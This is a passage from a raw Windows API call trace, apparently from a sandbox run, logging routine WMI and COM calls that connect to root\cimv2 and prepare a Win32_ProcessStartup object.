pToken=0x1b2fd410) returned 0x0 [0083.569] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eeb0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1c02eeb0) returned 0x0 [0083.569] WbemDefPath:IUnknown:AddRef (This=0x1c02eeb0) returned 0x3 [0083.569] WbemDefPath:IUnknown:Release (This=0x1c02eeb0) returned 0x2 [0083.569] WbemDefPath:IWbemPath:SetText (This=0x1c02eeb0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0083.569] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02eeb0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0083.569] WbemDefPath:IWbemPath:GetText (in: This=0x1c02eeb0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0083.569] WbemDefPath:IWbemPath:GetText (in: This=0x1c02eeb0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0083.570] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0083.570] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0083.570] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0083.570] IUnknown:Release (This=0x111f638) returned 0x1 [0083.571] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1c055a50) returned 0x0 [0083.571] WbemLocator:IUnknown:QueryInterface (in: This=0x1c055a50, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0083.571] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c055a50, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1c055a70) returned 0x0 [0083.571] WbemLocator:IUnknown:Release (This=0x1c055a50) returned 0x0 [0083.571] WbemLocator:IUnknown:QueryInterface (in: This=0x1c055a70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1c055a70) returned 0x0 [0083.571] WbemLocator:IUnknown:QueryInterface (in: This=0x1c055a70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0083.571] WbemLocator:IUnknown:AddRef (This=0x1c055a70) returned 0x3 [0083.571] WbemLocator:IUnknown:QueryInterface (in: This=0x1c055a70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0083.571] WbemLocator:IUnknown:QueryInterface (in: This=0x1c055a70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0083.572] WbemLocator:IUnknown:QueryInterface (in: This=0x1c055a70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0083.572] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0083.572] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0083.572] WbemLocator:IUnknown:QueryInterface (in: This=0x1c055a70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0083.572] WbemLocator:IUnknown:Release (This=0x1c055a70) returned 0x2 [0083.572] WbemLocator:IUnknown:Release (This=0x1c055a70) returned 0x1 [0083.572] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0083.572] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0083.572] WbemLocator:IUnknown:QueryInterface (in: This=0x1c055a70, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1c055a70) returned 0x0 [0083.572] WbemLocator:IUnknown:AddRef (This=0x1c055a70) returned 0x3 [0083.572] WbemLocator:IUnknown:Release (This=0x1c055a70) returned 0x2 [0083.572] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02eeb0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0083.572] WbemDefPath:IWbemPath:GetText (in: This=0x1c02eeb0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0083.572] WbemDefPath:IWbemPath:GetText (in: This=0x1c02eeb0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0083.572] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1c055a90) returned 0x0 [0083.572] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c055a90, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf2a690) returned 0x0 [0083.929] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2a690, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bf96d20) returned 0x0 [0083.929] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf96d20, pProxy=0x1bf2a690, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0083.929] WbemLocator:IUnknown:Release (This=0x1bf96d20) returned 0x1 [0083.929] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2a690, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bf96d60) returned 0x0 [0083.929] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2a690, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf96d20) returned 0x0 [0083.929] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf96d20, pProxy=0x1bf2a690, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0083.929] WbemLocator:IUnknown:Release (This=0x1bf96d20) returned 0x2 [0083.929] WbemLocator:IUnknown:Release (This=0x1bf96d60) returned 0x1 [0083.929] CoTaskMemFree (pv=0x11dceb0) [0083.930] WbemLocator:IUnknown:AddRef (This=0x1bf2a690) returned 0x2 [0083.930] WbemLocator:IUnknown:Release (This=0x1c055a90) returned 0x0 [0083.930] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0083.930] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0083.930] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2a690, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bf96d30) returned 0x0 [0083.930] WbemLocator:IRpcOptions:Query (in: This=0x1bf96d30, pPrx=0x1bf78310, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0083.930] WbemLocator:IUnknown:Release (This=0x1bf96d30) returned 0x2 [0083.931] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0083.931] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0083.931] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2a690, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf2a690) returned 0x0 [0083.931] WbemLocator:IUnknown:Release (This=0x1bf2a690) returned 0x2 [0083.931] SysStringLen (param_1=0x0) returned 0x0 [0083.931] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ef70, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0083.931] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ef70, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0083.931] IWbemServices:GetObject (in: This=0x1bf2a690, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1c028680, ppCallResult=0x0) returned 0x0 [0083.933] IWbemClassObject:Get (in: This=0x1c028680, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0083.933] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0083.933] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0083.934] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0083.934] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0083.934] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0083.934] IUnknown:Release (This=0x111f638) returned 0x1 [0083.935] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1c055a90) returned 0x0 [0083.936] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c055a90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0083.936] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c055a90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1c02ed30) returned 0x0 [0083.936] WbemDefPath:IUnknown:Release (This=0x1c055a90) returned 0x0 [0083.936] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ed30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1c02ed30) returned 0x0 [0083.936] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ed30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0083.936] WbemDefPath:IUnknown:AddRef (This=0x1c02ed30) returned 0x3 [0083.936] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ed30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0083.936] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ed30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0083.936] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ed30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1c055ab0) returned 0x0 [0083.936] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c055ab0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0083.936] WbemDefPath:IUnknown:Release (This=0x1c055ab0) returned 0x3 [0083.936] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0083.937] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0083.937] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ed30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0083.937] WbemDefPath:IUnknown:Release (This=0x1c02ed30) returned 0x2 [0083.937] WbemDefPath:IUnknown:Release (This=0x1c02ed30) returned 0x1 [0083.937] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0083.937] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0083.937] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ed30, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1c02ed30) returned 0x0 [0083.937] WbemDefPath:IUnknown:AddRef (This=0x1c02ed30) returned 0x3 [0083.937] WbemDefPath:IUnknown:Release (This=0x1c02ed30) returned 0x2 [0083.937] WbemDefPath:IWbemPath:SetText (This=0x1c02ed30, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0083.937] IWbemClassObject:Get (in: This=0x1c028680, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2907148*=0, plFlavor=0x290714c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2907148*=19, plFlavor=0x290714c*=0) returned 0x0 [0083.937] IWbemClassObject:Get (in: This=0x1c028680, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2907148*=19, plFlavor=0x290714c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2907148*=19, plFlavor=0x290714c*=0) returned 0x0 [0083.937] IWbemClassObject:Put (This=0x1c028680, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0083.937] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f030, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0083.937] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0083.937] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0083.937] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0083.938] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0083.938] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0083.938] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0083.938] IUnknown:Release (This=0x111f638) returned 0x1 [0083.940] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bf78190) returned 0x0 [0083.940] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf78190, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0083.940] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf78190, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1c02ec70) returned 0x0 [0083.940] WbemDefPath:IUnknown:Release (This=0x1bf78190) returned 0x0 [0083.940] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ec70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1c02ec70) returned 0x0 [0083.940] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ec70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0083.941] WbemDefPath:IUnknown:AddRef (This=0x1c02ec70) returned 0x3 [0083.941] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ec70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0083.941] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ec70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0083.941] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ec70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bf780d0) returned 0x0 [0083.941] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf780d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0083.941] WbemDefPath:IUnknown:Release (This=0x1bf780d0) returned 0x3 [0083.941] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0083.941] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 